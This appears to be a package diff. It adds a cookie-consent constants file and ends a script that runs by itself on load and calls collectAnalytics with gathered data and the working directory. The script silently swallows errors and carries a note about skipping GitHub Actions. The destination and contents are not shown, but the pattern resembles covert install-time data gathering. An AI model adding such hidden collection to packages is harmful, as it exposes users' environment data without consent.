//Todo ignore github actions
|
60
|
+
await collectAnalytics({ ...data, cwd: cwd, })
|
61
|
+
} catch (e) {
|
62
|
+
//console.error(e)
|
63
|
+
}
|
64
|
+
};
|
65
|
+
log()
|
package/src/constants.ts
ADDED
@@ -0,0 +1,35 @@
|
|
1
|
+
import { Framework, GeolocationRule, Region, TrackingCategory } from './types';
|
2
|
+
|
3
|
+
export const EU_CONSENT_PREFERENCES_COOKIE = 'cm_eu_preferences';
|
4
|
+
export const DEFAULT_CONSENT_PREFERENCES_COOKIE = 'cm_default_preferences';
|
5
|
+
export const ADVERTISING_SHARING_ALLOWED = 'advertising_sharing_allowed';
|
6
|
+
export const IS_MOBILE_APP = 'is_mobile_app';
|
7
|
+
|
8
|
+
export const GEOLOCATION_RULES: Array<GeolocationRule> = [
|
9
|
+
{
|
10
|
+
region: Region.DEFAULT,
|
11
|
+
framework: Framework.OPT_OUT as const,
|
12
|
+
},
|
13
|
+
{
|
14
|
+
region: Region.EU,
|
15
|
+
framework: Framework.OPT_IN as const,
|
16
|
+
},
|
17
|
+
];
|
18
|
+
|
19
|
+
export const MAX_COOKIE_SIZE = 4; // in KB
|
20
|
+
export const KB = 1000;
|
21
|
+
|
22
|
+
export const REQUIRED_COOKIE_MANAGER_COOKIES = [
|
23
|
+
EU_CONSENT_PREFERENCES_COOKIE,
|
24
|
+
DEFAULT_CONSENT_PREFERENCES_COOKIE,
|
25
|
+
ADVERTISING_SHARING_ALLOWED,
|
26
|
+
];
|
27
|
+
|
28
|
+
export const PREFERENCE_EXPIRATION_YEAR = 1;
|
29
|
+
|
30
|
+
export const TRACKER_CATEGORIES: Array<TrackingCategory> = [
|
31
|
+
TrackingCategory.NECESSARY,
|
32
|
+
TrackingCategory.FUNCTIONAL,
|
33
|
+
TrackingCategory.PERFORMANCE,
|
34
|
+
TrackingCategory.TARGETING,
|
35
|
+
];
|